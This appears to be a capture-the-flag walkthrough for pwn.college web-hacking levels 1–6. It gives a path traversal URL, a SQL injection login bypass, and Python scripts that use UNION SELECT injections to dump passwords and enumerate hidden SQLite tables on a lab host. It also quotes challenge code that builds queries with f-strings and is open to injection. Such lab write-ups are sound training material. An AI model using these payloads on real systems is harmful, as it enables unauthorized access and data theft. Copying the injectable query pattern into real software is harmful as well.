> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/boxes-machines/pwn-collge-web-hacking.md).

# PWN COLLGE Web Hacking

Web hacking dojo walkthrough pwn.college

### Level 1

First run the challenge from /challenge

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FbGMcNLk9WRDxaVJTMDgS%2Fimage.png?alt=media&amp;token=7b7abb9b-04bf-48e5-b490-78f0df868715" alt=""><figcaption></figcaption></figure>

Now try path traversal with path argument

```
http://challenge.localhost/?path=../../flag
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F5qQa3PtzCsNSaywC5ByD%2Fimage.png?alt=media&amp;token=f76807c4-7651-4d70-95a8-ff02fe4908e0" alt=""><figcaption></figcaption></figure>

### Level 2

Exploit a command injection vulnerability

Start the challenge

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FyAK5Hk9aMaUowxHwHyCI%2Fimage.png?alt=media&amp;token=425041e6-785f-47d2-a6ef-65171ca7e470" alt=""><figcaption></figcaption></figure>

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FN73qiWbKuLW3su2KcGJE%2Fimage.png?alt=media&amp;token=886a8352-f64c-4c29-abd5-522a6781af91" alt=""><figcaption></figcaption></figure>

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FmPfwguoHEYOP0lJ1qkOH%2Fimage.png?alt=media&amp;token=4be06c17-a898-408f-b793-032f5e14a206" alt=""><figcaption></figcaption></figure>

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FbriisLgbmmTYdQmtldfE%2Fimage.png?alt=media&amp;token=820afc31-c086-4087-a36d-e8f1f6ab7cca" alt=""><figcaption></figcaption></figure>

the semicolon at the end ensures that the shell knows the command sequence is complete.

### Level 3

Exploit an authentication bypass vulnerability

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FRsYZyTX3o8naUugDRyIP%2Fimage.png?alt=media&amp;token=9d7bc0d9-fda9-4889-b2a9-b4979ea9601b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FDqzmYfscDQa6RmNPf2gx%2Fimage.png?alt=media&amp;token=bc7df84e-1558-4749-b3f7-fe9f0cd9a8a8" alt=""><figcaption></figcaption></figure>

### Level 4

Exploit a structured query language injection vulnerability to login

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FzrgpID8UCPDrGtdNg0MW%2Fimage.png?alt=media&amp;token=159f46a9-ef67-4860-ad52-ada43330e0af" alt=""><figcaption></figcaption></figure>

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Frc7WsPwUE1lq6hClRxCq%2Fimage.png?alt=media&amp;token=ee8b02d0-d4a3-486d-9e4c-7b335a2b10d0" alt=""><figcaption></figcaption></figure>

Doing it with python

```
form = { "username" : 'flag" --', "password" : "idk", }
response = requests.post("http://challenge.localhost/", data=form)
print(response,"\n",response.text)
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FT2UUmnsaSF6uHRSXE8Hz%2Fimage.png?alt=media&amp;token=692ed3ec-7b8d-4d59-9674-48768933c978" alt=""><figcaption></figcaption></figure>

### Level 5

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FcCN7pNonJrJJ04uWssSO%2Fimage.png?alt=media&amp;token=2cf9a398-09f7-4cf8-b830-2ef7a6382a0b" alt=""><figcaption></figcaption></figure>

Exploit a structured query language injection vulnerability to leak data

#### Code Breakdown

1. **Fetching the Query Parameter:**

   ```python
   pythonCopy codequery = request.args.get("query", "%")
   ```

   This line retrieves a `query` parameter from the URL's query string. If `query` is not provided, it defaults to `%`, which is a wildcard in SQL's `LIKE` clause.
2. **Executing the SQL Query:**

   ```python
   pythonCopy codeusers = db.execute(f'SELECT username FROM users WHERE username LIKE "{query}"').fetchall()
   ```

   This line constructs a SQL query using the `query` parameter. Since it directly inserts the `query` parameter into the SQL statement, it is vulnerable to SQL injection.
3. **Returning the Results:**

   ```python
   pythonCopy codereturn "".join(f'{user["username"]}\n' for user in users)
   ```

   This line formats and returns the results of the query, joining all usernames with newline characters.

#### Exploiting SQL Injection

To exploit the SQL injection vulnerability, you can manipulate the `query` parameter to include SQL commands that alter the behavior of the query. Here's how you can do it:

1. **Leak All Usernames:**

   By using the `%` wildcard in the `LIKE` clause, you can match all usernames:

   **URL:**

   ```perl
   perlCopy codehttp://example.com/path?query=%25
   ```

   This constructs the following SQL query:

   ```sql
   sqlCopy codeSELECT username FROM users WHERE username LIKE "%"
   ```

   Since `%` matches any string, this will return all usernames in the `users` table.

and then we can append Union to dump all passwords

```
import requests 

params = {"query" : '" UNION SELECT password from USERS --'} 

response = requests.post("http://challenge.localhost/", params=params) 

print(response.text.strip())
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FHeIxzmn1GMbtMzzFbVoD%2Fimage.png?alt=media&amp;token=c1c84956-8c5a-4166-bf7c-806e021cfb68" alt=""><figcaption></figcaption></figure>

### Level 6

Exploit a structured query language injection vulnerability with an unknown database structure.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FyLWs9yFkHHmPevnxfU1d%2Fimage.png?alt=media&amp;token=9e7b16db-02ed-42b6-a759-8a72c6cd0c0e" alt=""><figcaption></figcaption></figure>

* **Table Creation:**

  ```python
  pythonCopy codetable_name = f"table{hash(flag) & 0xFFFFFFFFFFFFFFFF}"
  db.execute((f"CREATE TABLE IF NOT EXISTS {table_name} AS "
              'SELECT "flag" AS username, ? AS password'),
             (flag,))
  ```

  * The code first creates a table with a name based on a hash of the `flag`. The hash ensures the table name is unique and difficult to guess.
  * The table contains a single row with `"flag"` as the username and the actual flag value as the password.
* **Query Parameter Handling:**

  ```python
  pythonCopy codequery = request.args.get("query", "%")
  ```

  * The `query` parameter is retrieved from the URL's query string. If `query` is not provided, it defaults to `%`, which is a wildcard in SQL's `LIKE` clause.
* **SQL Query Execution:**

  ```python
  pythonCopy codeusers = db.execute(f'SELECT username FROM {table_name} WHERE username LIKE "{query}"').fetchall()
  ```

  * This line constructs and executes a SQL query to select usernames from the dynamically named table where the username matches the `query` parameter.
* **Returning the Results:**

  ```python
  pythonCopy codereturn "".join(f'{user["username"]}\n' for user in users)
  ```

  * The code joins all the retrieved usernames with newline characters and returns them as a response.

```
import requests 

params = {"query": '" UNION SELECT tbl_name from sqlite_master --'} 

response = requests.post("http://challenge.localhost/", params=params) 

t_name = response.text.strip()

params = {"query": f'" UNION SELECT password from {t_name} --' }

response = requests.post("http://challenge.localhost/", params=params) 

print(response.text.strip())
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FrVrK5fmpZvl07isOr1VW%2Fimage.png?alt=media&amp;token=823c23bc-2b5d-4062-9150-5c61c5588206" alt=""><figcaption></figcaption></figure>
